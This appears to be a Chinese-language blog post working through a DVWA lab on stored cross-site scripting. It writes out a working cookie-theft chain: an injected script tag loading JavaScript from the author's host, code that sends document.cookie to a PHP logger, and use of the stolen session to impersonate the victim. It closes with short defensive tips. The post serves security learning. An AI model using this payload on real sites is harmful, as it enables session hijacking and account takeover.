XSS(Cross-Site Scripting)大体分为反射型和存储型两种,以前对XSS的认知仅停留在若是网站输入框没有屏蔽相似<script>alert('ok')</script>的代码,那么这个网站就有被XSS攻击的风险,到底有什么风险呢?又是怎么被攻击的呢?sorry,我也不知道>_<php
我用DVWA来练习存储型XSS,目标是窃取用户帐号(经过拿到对方的登陆cookie)。我在本机再开一台虚拟机,用虚拟机(模拟另外一个用户)访问:http://IP地址/dvwa/vulnerabilities/xss_s/。这个页面是否是很像留言或者评论页面~前端
security level = low后端
1. 在本机登陆(模拟攻击方),输入时发现Name作了长度限制,而Message没有,因此攻击点在Message的输入框cookie
输入:<script src="http://172.24.107.155/test.js"></script>app
刷新一下当前页面,刚插入的记录仍然存在,说明恶意代码已经被“存储”在这个页面了~xss
2. 在本机的php服务下放入js代码文件和php文件。网站
js文件用来在被攻击方采集cookie并传入php页面,php页面将cookie存入名为cookies的文件中。ui
test.js文件内容:spa
var img = document.createElement("img") img.src = "http://本机ip地址/test.php?cookies="+escape(document.cookie); document.body.appendChild(img);
test.php文件内容:code
<?php $cookie = $_GET["cookies"];error_log($cookie ."". "\n",3,"cookies"); ?>
3. 在虚拟机登陆(模拟被攻击方),访问刚才的页面:http://IP地址/dvwa/vulnerabilities/xss_s/,被攻击方也能看到刚才上传的那条记录(此时js代码已经被执行了..>_<..):
4. 得到登陆凭证
攻击方此时啥也不用再干,守株待兔,等着js吧cookie发送到本机后,到刚才放入test.js和test.php文件的地方,会发现多了一个名为cookies的文件~
打开cookies文件,里面记录了被攻击方的登录cookie:
拿到对方的登陆凭证以后,咱们就能经过构造http请求(把对方的cookie传进去),以对方的身份操做网站,若是对方的是admin的话,Hmm......
security level = medium/high
medium和high模式下,对Message作了输入过滤,对name只替换了<script>,并加上了长度限制,使用Burp Suite抓包把name的输入改成以下便可
一点点感悟:
1. 经过脚本读取cookie其实很好防护,加上HttpOnly就行了>_<
2. 参数的长度校验先后端都要作,只作前端等于没作。。。
如需转载,请注明出处,这是对他人劳动成果的尊重~